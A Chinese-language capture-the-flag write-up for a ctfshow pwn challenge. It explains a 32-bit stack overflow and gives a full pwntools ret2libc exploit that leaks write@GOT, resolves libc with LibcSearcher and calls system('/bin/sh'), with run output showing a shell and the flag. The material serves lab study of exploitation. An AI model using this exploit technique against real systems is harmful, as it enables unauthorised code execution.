一、题目信息
- 来源:ctfshow pwn 前置基础第 25 题
- 架构:32 位 ELF (i386),动态链接
- 提示:
开启NX保护,或许可以试试ret2libc
二、保护机制分析
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
| 保护 | 状态 | 影响 |
|---|---|---|
| Canary | 无 | 栈溢出不会被检测到,可以自由覆盖返回地址 |
| NX | 开启 | 栈不可执行,不能直接放 shellcode 运行 |
| PIE | 关闭 | 程序代码段地址固定(0x8048000),PLT/GOT 地址已知 |
| RELRO | Partial | GOT 表可写,可以泄漏 GOT 中的函数真实地址 |
结论:NX 开了不能执行栈上 shellcode,但程序有 write 函数可以泄漏地址 → 用 ret2libc 攻击。
三、逆向分析
3.1 main 函数
int main() {
setvbuf(stdin, 0, 2, 0); // 关闭 stdin 缓冲
setvbuf(stdout, 0, 1, 0); // 关闭 stdout 缓冲
ctfshow(); // 调用漏洞函数
logo(); // 打印 logo
write(1, "...", 14); // 输出提示
return 0;
}
main 函数依次调用 ctfshow() 和 logo(),没有对输入做任何限制。
3.2 ctfshow 函数(漏洞函数)
080484f6 <ctfshow>:
push ebp ; 保存旧 ebp
mov ebp, esp ; 建立新栈帧
sub esp, 0x84 ; 分配 132 字节局部变量空间
...
lea edx, [ebp-0x88] ; buf 地址 = ebp - 0x88
push 0x100 ; 参数3: 读取长度 = 256
push edx ; 参数2: buf 地址
push 0x0 ; 参数1: fd = 0 (stdin)
call read@plt ; read(0, buf, 256)
...
leave ; mov esp, ebp; pop ebp
ret ; 返回
对应的 C 代码:
void ctfshow() {
char buf[136]; // ebp-0x88 处,实际 136 字节
read(0, buf, 256); // 从 stdin 读 256 字节到 buf
}
3.3 漏洞定位
| 项目 | 值 |
|---|---|
| buf 起始位置 | ebp - 0x88 |
| buf 到 saved_ebp 的距离 | 0x88 = 136 字节 |
| saved_ebp 大小 | 4 字节 |
| buf 到返回地址的距离 | 0x88 + 4 = 140 字节 |
| read 读取长度 | 256 字节 |
| 可溢出空间 | 256 - 140 = 116 字节 |
read 允许读 256 字节,但返回地址在偏移 140 处,多出的 116 字节足以覆盖返回地址并构造 ROP 链。
四、攻击原理:ret2libc
4.1 为什么不能直接执行 shellcode?
NX(No-eXecute)保护把栈标记为不可执行。即使我们把 shellcode 写到栈上,CPU 执行到栈上的指令会触发段错误。
4.2 ret2libc 的核心思想
既然不能执行栈上的代码,那就执行 libc 里已有的代码。libc 里有 system() 函数,调用 system("/bin/sh") 就能拿 shell。
问题:libc 每次加载的地址不同(ASLR),我们不知道 system 在哪。
解决:先用程序自己的 write 函数把 write 的真实地址泄漏出来,再根据偏移算出 system 和 /bin/sh 的地址。
4.3 PLT 和 GOT 机制
调用 write() 的流程:
代码中 call write
↓
write@PLT (0x80483b0) ← PLT:跳转表,地址固定
↓
jmp [write@GOT] (0x804a018) ← GOT:存储真实地址,初始指向 PLT 解析代码
↓
动态链接器解析 write 真实地址
↓
把真实地址写回 write@GOT
↓
下次调用直接跳到真实地址
- PLT(Procedure Linkage Table):地址固定,在代码段,我们可以直接调用
- GOT(Global Offset Table):存储函数真实地址,第一次调用后会被填入 libc 中的真实地址
关键:write@GOT 里存的就是 write 函数在 libc 中的真实地址。如果我们能让程序把 write@GOT 的内容打印出来,就知道了 write 的真实地址。
4.4 libc 偏移原理
libc 像一个仓库,里面所有函数和字符串的相对位置是固定的:
libc 内存布局:
┌─────────────────────────────────┐
│ libc 基址 (每次加载不同) │
├─────────────────────────────────┤
│ write 函数 ← 偏移 0x000e1234 │ ← 固定值
├─────────────────────────────────┤
│ system 函数 ← 偏移 0x0003ada0 │ ← 固定值
├─────────────────────────────────┤
│ "/bin/sh" ← 偏移 0x0017b8cf │ ← 固定值
└─────────────────────────────────┘
公式:
libc_base = write真实地址 - write偏移
system地址 = libc_base + system偏移
/bin/sh地址 = libc_base + "/bin/sh"偏移
只要知道一个函数的真实地址,就能算出 libc 基址,进而算出所有地址。
五、攻击流程
5.1 整体流程
─────────────────────────────────────────────────────────────┐
│ 第一次溢出:泄漏 write 真实地址 │
│ │
│ payload1 → ctfshow.read() → 覆盖返回地址 → write@plt │
│ → write(1, write_got, 4) │
│ → 打印 write 真实地址 │
│ → 返回 main │
│ │
│ 脚本 recv(4) → 得到 write 真实地址 │
│ LibcSearcher → 算出 system 和 /bin/sh 地址 │
├─────────────────────────────────────────────────────────────┤
│ 第二次溢出:调用 system("/bin/sh") │
│ │
│ payload2 → ctfshow.read() → 覆盖返回地址 → system │
│ → system("/bin/sh") │
│ → 拿到 shell │
─────────────────────────────────────────────────────────────┘
5.2 第一次 payload 构造
目标:调用 write(1, write_got, 4),把 write@got 的内容(write 真实地址)打印出来。
32 位调用约定:参数从右到左压栈,函数返回后栈顶是返回地址。
栈布局(从低地址到高地址):
偏移 内容 说明
─────────────────────────────────────────────────
0x00 'A' * 140 填充 buf + saved_ebp
0x8C write_plt 覆盖返回地址 → 跳转到 write
0x90 main_addr write 的返回地址 → 回到 main
0x94 1 参数1: fd = stdout
0x98 write_got 参数2: 要打印的地址
0x9C 4 参数3: 打印 4 字节
执行流程:
1. ctfshow 的 ret 指令弹出 write_plt
2. CPU 跳转到 write@plt → 最终调用 write 函数
3. write 从栈上取参数:fd=1, buf=write_got, count=4
4. write 把 write_got 处的 4 字节(write 真实地址)打印到 stdout
5. 我们的脚本 recv(4) 收到这 4 字节
6. write 执行完,ret 弹出 main_addr → 回到 main
7. main 再次调用 ctfshow → 第二次 read 等待输入
5.3 地址计算
write_addr = u32(io.recv(4)) # 收到的 4 字节,如 0xf7e12340
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write') # 0xf7e12340 - 0x000e1234 = 0xf7d3110c
system_addr = libc_base + libc.dump('system') # 0xf7d3110c + 0x0003ada0 = 0xf7d6beac
binsh_addr = libc_base + libc.dump('str_bin_sh') # 0xf7d3110c + 0x0017b8cf = 0xf7eacbdb
5.4 第二次 payload 构造
目标:调用 system("/bin/sh")。
栈布局:
偏移 内容 说明
─────────────────────────────────────────────────
0x00 'A' * 140 填充 buf + saved_ebp
0x8C system_addr 覆盖返回地址 → 跳转到 system
0x90 main_addr system 的返回地址(任意值)
0x94 binsh_addr 参数1: "/bin/sh" 字符串地址
执行流程:
1. ctfshow 的 ret 指令弹出 system_addr
2. CPU 跳转到 system 函数
3. system 从栈上取参数:command = binsh_addr(指向 "/bin/sh")
4. system("/bin/sh") 执行 → 启动 shell
5. io.interactive() → 键盘直接连到 shell
六、Exploit 代码逐行解释
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug' # 打印所有收发数据,调试用
context.arch = 'i386' # 32 位程序,必须指定
io = process('./pwn') # 本地运行(远程改为 remote)
elf = ELF('./pwn') # 加载 ELF,自动解析符号
# 关键地址
main_addr = elf.sym['main'] # 0x804862d,第一次泄漏后返回这里
write_plt = elf.plt['write'] # 0x80483b0,PLT 中 write 的入口
write_got = elf.got['write'] # 0x804a018,GOT 中 write 的真实地址存储处
# 填充长度:buf(0x88) + saved_ebp(4) = 140 字节
padding = b'A' * (0x88 + 4)
# ===== 第一次溢出 =====
payload1 = padding
payload1 += p32(write_plt) # 返回地址 → write@plt
payload1 += p32(main_addr) # write 返回 → main
payload1 += p32(1) # 参数1: fd = stdout
payload1 += p32(write_got) # 参数2: 要泄漏的地址
payload1 += p32(4) # 参数3: 4 字节
io.sendline(payload1)
write_addr = u32(io.recv(4)) # 接收 write 真实地址
print(f'[+] write 真实地址: {hex(write_addr)}')
# ===== 计算 libc 地址 =====
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print(f'[+] libc_base: {hex(libc_base)}')
print(f'[+] system: {hex(system_addr)}')
print(f'[+] /bin/sh: {hex(binsh_addr)}')
# ===== 第二次溢出 =====
payload2 = padding
payload2 += p32(system_addr) # 返回地址 → system
payload2 += p32(main_addr) # system 返回地址(任意)
payload2 += p32(binsh_addr) # 参数: "/bin/sh"
io.sendline(payload2)
io.interactive() # 交互模式,拿 shell
七、运行结果
$ python exploit.py
[+] Starting local process './pwn': pid 12345
[+] write 真实地址: 0xf7e12340
[+] libc_base: 0xf7d3110c
[+] system: 0xf7d6beac
[+] /bin/sh: 0xf7eacbdb
[*] Switching to interactive mode
$ ls
flag pwn exploit.py
$ cat flag
ctfshow{d9d2b79e-9ca2-4beb-94c8-c81eb105fa68}
八、常见问题
Q1: LibcSearcher 匹配到多个版本怎么办?
手动指定 libc 版本:
libc = LibcSearcher('write', write_addr, libc_version='libc6_2.23-0ubuntu10_i386')
常见 CTF libc 版本:
- Ubuntu 16.04:
libc6_2.23-0ubuntu10_i386 - Ubuntu 18.04:
libc6_2.27-3ubuntu1_i386 - Ubuntu 20.04:
libc6_2.31-0ubuntu9_i386
Q2: 如果有 libc 文件怎么办?
直接用 ELF 加载,不需要 LibcSearcher:
libc = ELF('./libc.so.6')
libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
Q3: 为什么返回地址要填 main_addr?
为了让程序重新执行 ctfshow 函数,给我们第二次溢出的机会。如果填其他地址(如 exit),程序会直接退出,无法进行第二次攻击。
Q4: 为什么不用 shellcode?
NX 保护开启了,栈不可执行。即使把 shellcode 写到栈上,CPU 执行时会触发段错误。ret2libc 是 NX 开启后的标准解法。
九、知识点总结
| 知识点 | 说明 |
|---|---|
| 栈溢出 | 输入长度 > 缓冲区大小,覆盖返回地址 |
| NX 保护 | 栈不可执行,需要 ret2libc |
| PLT/GOT | PLT 地址固定,GOT 存储真实地址 |
| 地址泄漏 | 用 write/puts 打印 GOT 内容,获取 libc 函数真实地址 |
| libc 偏移 | 所有函数相对 libc 基址的偏移固定 |
| ret2libc | 返回到 libc 中的 system 函数,参数为 “/bin/sh” |
| 两次溢出 | 第一次泄漏地址,第二次执行 system |

1283

被折叠的 条评论
为什么被折叠?



